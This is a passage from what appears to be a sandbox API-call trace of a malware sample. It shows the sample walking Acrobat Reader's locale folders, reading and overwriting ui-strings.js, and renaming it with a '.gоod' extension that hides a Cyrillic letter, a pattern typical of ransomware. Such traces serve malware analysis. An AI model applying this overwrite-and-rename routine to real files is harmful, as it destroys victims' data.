| out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0251.561] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0251.562] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0251.563] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0251.564] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0251.564] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0251.564] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0251.564] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x20bec2a0 | out: lpFindFileData=0x20bec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.564] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0251.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec500) returned 1 [0251.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec4c0) returned 1 [0251.564] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20bebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x86 [0251.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec370) returned 1 [0251.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x395d470 | out: lpFileInformation=0x395d470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf)) returned 1 [0252.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec330) returned 1 [0252.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20bebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x86 [0252.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec220) returned 1 [0252.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.945] GetFileType (hFile=0x768) returned 0x1 [0252.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec190) returned 1 [0252.945] GetFileType (hFile=0x768) returned 0x1 [0252.945] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x20bec3c8 | out: lpFileSizeHigh=0x20bec3c8*=0x0) returned 0x4bf [0252.945] ReadFile (in: hFile=0x768, lpBuffer=0x3aaa7f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20bec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3aaa7f8*, lpNumberOfBytesRead=0x20bec2f8*=0x4bf, lpOverlapped=0x0) returned 1 [0252.946] CloseHandle (hObject=0x768) returned 1 [0252.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20bebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x86 [0252.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec220) returned 1 [0252.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0252.984] GetFileType (hFile=0x768) returned 0x1 [0252.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec190) returned 1 [0252.984] GetFileType (hFile=0x768) returned 0x1 [0252.985] WriteFile (in: hFile=0x768, lpBuffer=0x3b24728*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x20bec208, lpOverlapped=0x0 | out: lpBuffer=0x3b24728*, lpNumberOfBytesWritten=0x20bec208*=0x4c0, lpOverlapped=0x0) returned 1 [0252.985] CloseHandle (hObject=0x768) returned 1 [0252.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20bebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x86 [0252.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20bebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8b [0252.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bec330) returned 1 [0252.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20bec410 | out: lpFileInformation=0x20bec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9300dc1f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0252.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bec2f0) returned 1 [0252.985] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ui-strings.js.gоod")) returned 1 [0252.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0252.988] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x7e [0252.988] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0253.314] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.314] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.314] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0253.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0253.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0253.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0253.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae", lpFilePart=0x0) returned 0x7e [0253.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 